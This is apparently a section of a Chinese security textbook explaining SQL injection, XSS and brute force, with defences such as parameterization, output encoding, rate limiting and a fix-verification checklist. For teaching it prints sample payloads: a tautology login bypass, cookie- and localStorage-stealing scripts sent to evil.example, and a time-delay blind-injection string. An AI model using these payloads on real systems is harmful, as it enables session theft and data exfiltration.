本节摘要:SQL 注入(SQL Injection)把数据当代码骗数据库执行,跨站脚本(XSS)把脚本混进页面骗浏览器执行,暴力破解(Brute Force)穷举凭据直到撞对。三案并审的理由是它们共享同一条生成逻辑:程序对输入的信任边界画错了。本节逐段解读三种载荷、拆解各自的防线分层。承接 2.2 节"利用规则善意"的视角,本节的展品进一步深入程序内部——对手从流量层进入到了代码层。
先看一段今天仍能在安全培训里看到的最短漏洞代码:程序把用户输入直接拼进数据库查询语句。用户提交的不再是"要查什么"的数据,而变成了查询语句本身的一部分——这就是注入类攻击的全部原理:数据与代码的边界被溶解了。
SQL 注入溶解的是数据库查询的边界,XSS 溶解的是网页内容的边界,暴力破解溶解的则是"猜测成本"的边界——系统本指望密码空间大到猜不完,弱口令把空间缩到了一秒几万次。三种手法攻击的对象不同(数据库、浏览器用户、认证系统),但生成漏洞的那行代码、那个设计决策,性质完全一样。
假设登录功能在后端执行这样的拼接:
SELECT * FROM users WHERE name = '输入的用户名' AND pass = '输入的密码';
攻击者在用户名栏提交 ' OR '1'='1,拼出来的是:
SELECT * FROM users WHERE name = '' OR '1'='1' AND pass = '' OR '1'='1'; -- ^^^^^^^^^ 恒真条件接管了整个判断
单引号提前闭合了字符串,OR '1'='1' 是恒真条件,WHERE 子句对任何一行都成立——查询返回全部用户,登录"成功"。这只是最入门的玩法。进阶手法能把整库拖走:借助报错回显一列一列读出表名和字段(报错注入),借助延时函数逐字符猜解数据(盲注),甚至利用数据库的文件读写功能写马。对攻击者来说,注入的吸引力在于"打穿一个点、拿下整个库"的杠杆率。

XSS 的舞台在浏览器端。站点把用户提交的内容不加处理地渲染进页面,攻击者提交的内容里若带有脚本,脚本就会在其他访问者的浏览器里执行——注意受害者不是网站服务器,而是站点的用户。XSS 按脚本驻留的位置分三类:存储型(恶意内容存进数据库,每个访问者都中招,危害最大)、反射型(脚本藏在链接参数里,需要诱使用户点击)、DOM 型(纯前端逻辑缺陷)。
看一个存储型 XSS 的最小样本——留言板功能不过滤输入:
<!-- 攻击者提交的"留言" --> <script> fetch('https://evil.example/collect?c=' + document.cookie) </script> <!-- 其他用户打开留言页时, 其 Cookie 已被送到攻击者的收集服务器 -->
Cookie 一旦被偷,攻击者即可冒充受害者登录。防御思路是"输出编码":页面渲染用户内容时,把特殊字符转义成无害实体,脚本永远执行不起来。再配合 Cookie 的 HttpOnly 属性(禁止脚本读取),纵深就立起来了。与 SQL 注入做个对照:注入的根治是"参数化",XSS 的根治是"输出编码",两者共同点是在数据与代码之间重新画界。
暴力破解的赌注是密码空间。理论上任何密码都能穷举,实际可行性取决于两个变量的乘积:空间大小 × 单次尝试成本。攻击者从两头下手——让你用弱口令(空间坍缩),让你的接口高速响应(成本趋零)。
最现实的威胁形态是撞库:攻击者拿其他网站泄露的账号密码批量来试。道理很简单,用户在十个网站用同一个密码,攻破最弱的那个等于攻破全部。防御方的标准动作叫限速与锁定:
认证接口的防线配置(示意): 同一账号 连续失败 5 次 锁定 15 分钟 同一来源IP 每分钟尝试 > 10 触发验证码 全局监控 失败率突增 3 倍 安全团队告警 附加项 登录地突变提示 异地登录要求二次验证
这套组合拳不追求"让破解不可能",而是把单次尝试的成本抬高到攻击者不划算。密码策略端配合 NIST 的现代建议:长度优先于复杂度、禁止常见口令、不再强制定期更换(定期换密码反而催生"Winter2026!"式的可预测模式)。
三类手法对应三个修复现场。 SQL 注修在数据访问层(参数化),XSS 修在模板渲染层(输出编码),暴力破解修在认证接口(限速、MFA)。安全需求写进开发规范时,必须指明修复现场,否则"开发者知道了要修"和"知道在哪修"之间隔着一次上线事故。
⚠️ 常见坑:依赖前端校验防注入。前端过滤只会让攻击者换用直接调接口的方式绕过——服务端收到的永远是不可信输入,这条原则在 5.3 节零信任里还会以更彻底的形式出现。
💡 关键直觉:三种攻击共享同一句判词——程序对输入的信任画错了地方。评审任何代码时,先找"输入在哪个点上变成了语句的一部分",那里就是注入类漏洞的候选地。
练一眼识载荷的本事。看三行提交内容,先自己判类:
提交一: 127.0.0.1'; WAITFOR DELAY '0:0:9'-- 判类: SQL 盲注(时间型) —— 不看回显, 用延时猜数据, 慢查询日志是探测器 提交二: <img src=x onerror=fetch('//evil.example/c='+localStorage)> 判类: XSS(存储型倾向) —— 顺带提醒: 敏感数据放 localStorage 放大了危害 提交三: 用户名 admin 密码 Password2026! 连续 300 次变体尝试 判类: 密码喷洒/定向爆破 —— 针对已知账号试常见口令变体, 不是纯随机穷举
载荷与防线的判别表,评审与告警分诊都用得上:
| 载荷特征 | 攻击类别 | 最先起效的防线 |
|---|---|---|
| 单引号加恒真条件、注释符 | SQL 注入 | 参数化查询(根治) |
| 延时函数、条件报错 | SQL 盲注 | 慢查询告警 + 参数化 |
| 标签闭合加事件属性脚本 | XSS | 输出编码 + CSP 策略 |
| 引用外部域名的脚本拼接 | XSS 外传 | 出口管控加 Cookie HttpOnly |
| 高频口令变体、跨账号尝试 | 密码喷洒 | 限速加 MFA 加口令黑名单 |
补一句给开发同学的心法:这三种手法在代码评审时都有"长相"。看到字符串拼 SQL、看到模板里输出用户内容不转义、看到认证接口没有失败计数——三处各自停留几秒就能拦下大半同类缺陷。安全的左移(6.6 节)不是口号,就是这些评审时的肌肉记忆。
修复了注入类漏洞不等于修好了,验证环节照单回归:
验证一: 用原始 payload 重放, 确认被拦截或无害化, 而非"看起来好了" 验证二: 换变形载荷再试 —— 编码变体、注释变体、大小写变体 验证三: 确认修复点在服务端 —— 前端校验不能算修复证据 验证四: 相邻接口同模式排查 —— 一处注入往往是一类拼写的冰山一角 验证五: 误伤检查 —— 正常含特殊字符的输入(如 O'Brien)仍能正常使用
验证五最常被忽略:拦截规则把正常用户一起拦了,业务损失立刻找上门,修复就会被迫回滚。好的修复是"攻击载荷进不来、正常数据不受影响",两面都要验证。回归清单五条走完,这个漏洞才算真正关账——也才能放心地写进 6.4 节的按期关闭率。